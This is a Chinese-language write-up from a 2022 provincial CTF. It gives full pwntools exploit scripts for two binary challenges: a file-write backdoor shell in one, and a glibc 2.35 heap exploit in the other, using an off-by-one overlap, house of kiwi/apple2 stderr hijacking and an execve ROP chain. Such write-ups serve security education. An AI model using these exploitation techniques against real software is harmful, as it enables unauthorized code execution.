2022年"深信服"杯-四川省赛-PWN-WP
第一次参加省赛,而且状态不是很好。一题3血一题2血,中规中矩的成绩吧。不过可惜的是和一等奖无缘了
pipe
分析
开幕雷击。考虑思路为在./ctf.sh
中写入/bin/sh
来getshell
然后简单回溯一下写入过程:
- 最开始的时候创建一个
./ctf.sh
,
- 将
/bin/sh
写入buffer
,
- 将buffer写入
./ctf.sh
,
- 触发后门
exp
from pwn import *
import sys
context.log_level = 'debug'
context.arch = 'amd64'
port = int(sys.argv[1])
if port == 0:
p = process('./pipe')
else:
p = remote('172.16.159.59', port)
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
ru = lambda x : p.recvuntil(x)
def g(arg=''):
gdb.attach(p, arg)
raw_input()
def choice(idx):
sla('cmd>>>', str(idx))
sla('path>', './ctf.sh')
choice(2)
sla('size>', '10')
sla('put>', '/bin/sh')
choice(5)
choice(6)
p.interactive()
manageheap
分析
2.35下的堆题,洞在修改堆块的功能里,可以off by one(实际上是溢出8bytes)
add的时候先开了一个0x30的chunk来管理一个major,结构体大概如下:
struct manageHeap{
char name[0x10];
intprt_t *data;
int data_len;
};
且最大只能申请到0x290的chunk。
由于读写都是从0x31的堆块上获取的,所以利用off by one造一个overlap,通过不断释放和申请chunk A,修改被重叠的chunk B中的data指针,就能达到任意地址读写了。(造overlap时是partial overwrite了一个data指针,所以远程是1/16
的概率打通,本地调试时可以先关掉alsr)
leak堆基址很简单,但是leak libc基址就有点被限制。因为最大只能申请到0x290,不足以直接绕过tcache bin,且堆块限制了7个,也没法正常填满tcache bin来进unsorted bin。所以这里我还打了一次size,让一个chunk的大小变成能直接进入unsorted bin的大小。
而且由于这题无法从main退出,也无exit
(_exit
是不会触发__IO_flush_all_lockp
的),所以考虑用house of kiwi
,通过__malloc_assert
来劫持控制流。
我这里是打的stderr->_IO_file_xsputn
,走house of apple2
这条链子,然后由于没开沙箱,所以简单syscall调用一下execve('/bin/sh', 0, 0)
。(不用system
是因为栈大小不好预留)
至于为什么打__malloc_assert
也能稳定触发stderr->_IO_file_xsputn
,可以参考一下源码:
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
这里在__fxprintf
内部调用的是stderr->_IO_file_xsputn
,且此方法应该能适用于接下来libc-2.36里删除了fflush(stderr)
后的__malloc_assert
,而且劫持stderr
,一般情况下不会出问题,比劫持stdout
要稳定。
exp
from pwn import *
import sys
context.log_level = 'debug'
context.arch = 'amd64'
port = int(sys.argv[1])
if port == 0:
p = process('./manageheap')
else:
p = remote('172.16.159.59', port)
elf = ELF('./manageheap')
libc = elf.libc
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
ru = lambda x : p.recvuntil(x)
def g(arg=''):
gdb.attach(p, arg)
raw_input()
def choice(idx):
sla('ice: ', str(idx))
def add(num, name='kotori', content='saoe'):
choice(1)
sla('ber:', str(num))
sa('name:', name)
sa('> ', content)
def delete(idx):
choice(2)
sla('idx:', str(idx))
def show(idx):
choice(3)
sla('idx:', str(idx))
def edit(idx, buf, content):
choice(4)
sla('idx:', str(idx))
sa('id:', buf)
p.send(content)
add(0x68//8) # 0
add(0x28//8) # 1
add(0x200//8) # 2
add(0x200//8) # 3
delete(0)
pay = p64(0xbaadf00d)*(0x68//8)
add(0x68//8, 'kotori', pay) # 0
edit(0, p64(0x31), p64(0x31+0x30))
delete(1)
add((0x28)//8) # 1
pay = b'a'*0x28 + p64(0x31) + b'a'*0x10 + b'\xc0\x93' # partial overwrite
add((0x58)//8, 'kotori', pay) # 4
edit(1, p64(0x211), p64(0x211+0x30+0x210))
delete(2) # unsorted
delete(4)
pay = b'a'*0x28 + p64(0x31) + b'a'*0x10 + b'\xd0'
add((0x58)//8, 'kotori', pay) # 4
show(1)
ru('ber: ')
libcbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) - 0x219ce0
print(hex(libcbase))
delete(4)
pay = b'a'*0x28 + p64(0x31) + b'd'*0x10 + b'\xa0'
add((0x58)//8, 'kotori', pay) # 2
show(1)
ru('a'*0x10)
heapbase = u64(p.recvline()[:-1].ljust(0x8, b'\x00')) - 0x3d0
print(hex(heapbase))
# stderr -> _IO_file_xsputn
stderr = libcbase + 0x21a6a0
_wfile_jumps = libcbase + 0x2160c0 # _IO_wfile_overflow
setcontext = libcbase + libc.symbols['setcontext']
# sys = libcbase + libc.symbols['system']
ret = libcbase + 0x000000000002a3e5 + 1
pop_rax = libcbase + 0x0000000000045eb0 # pop rax ; ret
syscall = libcbase + 0x0000000000029db4 # syscall
pay = b'/bin/sh\x00'
pay = pay.ljust(0x68, b'\x00')
pay += p64(heapbase+0x460) # rdi
pay = pay.ljust(0xa0, b'\x00')
pay += p64(heapbase+0x880) # rsp
pay += p64(ret) # rcx -> rip
pay = pay.ljust(0xe0, b'\x00')
pay += p64(heapbase+0x880)
add((0x200//8), 'kotori', pay) # 5 (0x460) # wide_data & SigreturnFrame
pay = p64(pop_rax) + p64(59) + p64(syscall)
pay = pay.ljust(0x68, b'\x00')
pay += p64(setcontext+61)
add((0x200//8), 'kotori', pay) # 6 (0x880) # wide_data_vtable & rop
delete(2)
pay = b'a'*0x28 + p64(0x31) + b'd'*0x10 + p64(stderr+0xd8) + p64(0xff0)
add((0x58)//8, 'kotori', pay) # 2
# g()
edit(1, p64(libcbase+0x216600), p64(_wfile_jumps-0x20)) # attack vtable
delete(2)
pay = b'a'*0x28 + p64(0x31) + b'd'*0x10 + p64(stderr) + p64(0xff0)
add((0x58)//8, 'kotori', pay) # 2
edit(1, p64(libcbase+0x2198a0), p64(heapbase+0x460)) # attack _wide_data
delete(2)
pay = b'a'*0x28 + p64(0x31) + b'd'*0x10 + p64(stderr) + p64(0xff0)
add((0x58)//8, 'kotori', pay) # 2
edit(1, p64(0xfbad2087), p64(0)) # attack _flags
delete(2)
pay = b'a'*0x28 + p64(0x31) + b'd'*0x10 + p64(heapbase+0xa80) + p64(0xff0)
add((0x58)//8, 'kotori', pay) # 2
edit(1, p64(0x20581), p64(0x80)) # attack top_size
delete(2)
choice(1)
sla('number:', '64')
p.interactive()